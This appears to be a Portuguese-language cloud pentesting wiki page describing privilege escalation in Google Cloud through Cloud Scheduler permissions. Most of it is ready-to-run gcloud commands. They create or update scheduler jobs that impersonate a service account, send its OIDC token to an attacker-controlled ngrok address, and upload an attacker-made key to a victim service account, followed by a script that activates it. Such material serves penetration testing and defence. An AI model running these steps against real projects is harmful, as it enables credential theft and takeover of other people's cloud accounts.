GCP - Cloud Scheduler Privesc

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Cloud Scheduler

Mais informações em:

GCP - Cloud Scheduler Enum

cloudscheduler.jobs.create, iam.serviceAccounts.actAs, (cloudscheduler.locations.list)

Um atacante com essas permissões poderia explorar o Cloud Scheduler para autenticar jobs cron como uma Conta de Serviço específica. Ao elaborar uma solicitação HTTP POST, o atacante agenda ações, como criar um bucket de Storage, para serem executadas sob a identidade da Conta de Serviço. Este método aproveita a capacidade do Scheduler de direcionar endpoints *.googleapis.com e autenticar solicitações, permitindo que o atacante manipule endpoints da API do Google diretamente usando um simples comando gcloud.

• Contate qualquer API do google via googleapis.com com o cabeçalho do token OAuth

Crie um novo bucket de Storage:

gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email [e-mail] --headers "Content-Type=application/json" --location us-central1

Para escalar privilégios, um atacante simplesmente cria uma solicitação HTTP direcionada à API desejada, se passando pela Conta de Serviço especificada

• Exfiltrar token da conta de serviço OIDC

gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email [e-mail] [--oidc-token-audience '...']

# Listen in the ngrok address to get the OIDC token in clear text.

Se você precisar verificar a resposta HTTP, pode apenas dar uma olhada nos logs da execução.

cloudscheduler.jobs.update, iam.serviceAccounts.actAs, (cloudscheduler.locations.list)

Como no cenário anterior, é possível atualizar um scheduler já criado para roubar o token ou realizar ações. Por exemplo:

gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email [e-mail] [--oidc-token-audience '...']

# Listen in the ngrok address to get the OIDC token in clear text.

Outro exemplo para fazer upload de uma chave privada para um SA e se passar por ele:

# Generate local private key
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
-keyout /tmp/private_key.pem \
-out /tmp/public_key.pem \
-subj "/CN=unused"

# Remove last new line character of the public key
file_size=$(wc -c < /tmp/public_key.pem)
new_size=$((file_size - 1))
truncate -s $new_size /tmp/public_key.pem

# Update scheduler to upload the key to a SA
## For macOS: REMOVE THE `-w 0` FROM THE BASE64 COMMAND
gcloud scheduler jobs update http scheduler_lab_1 \
--schedule='* * * * *' \
--uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \
--message-body="{\"publicKeyData\": \"$(cat /tmp/public_key.pem | base64 -w 0)\"}" \
--update-headers "Content-Type=application/json" \
--location us-central1 \
--oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com

# Wait 1 min
sleep 60

# Check the logs to check it worked
gcloud logging read 'resource.type="cloud_scheduler_job" AND resource.labels.job_id="scheduler_lab_1" AND resource.labels.location="us-central1"
jsonPayload.@type="type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished"' --limit 10 --project <project-id> --format=json

## If any  '"status": 200'  it means it worked!
## Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: "status": 400

# Build the json to contact the SA
## Get privatekey in json format
file_content=$(<"/tmp/private_key.pem")
private_key_json=$(jq -Rn --arg str "$file_content" '$str')

## Get ID of the generated key
gcloud iam service-accounts keys list --iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com

# Create the json in a file
## NOTE that you need to export your project-id in the env var PROJECT_ID
## and that this script is expecting the key ID to be the first one (check the `head`)
export PROJECT_ID=...
cat > /tmp/lab.json <<EOF
{
"type": "service_account",
"project_id": "$PROJECT_ID",
"private_key_id": "$(gcloud iam service-accounts keys list --iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d " " -f 1 | grep -v KEY_ID | head -n 1)",
"private_key": $private_key_json,
"client_email": "scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com",
"client_id": "$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d "'" -f 2)",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com",
"universe_domain": "googleapis.com"
}
EOF

# Activate the generated key
gcloud auth activate-service-account --key-file=/tmp/lab.json

Referências

• https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/

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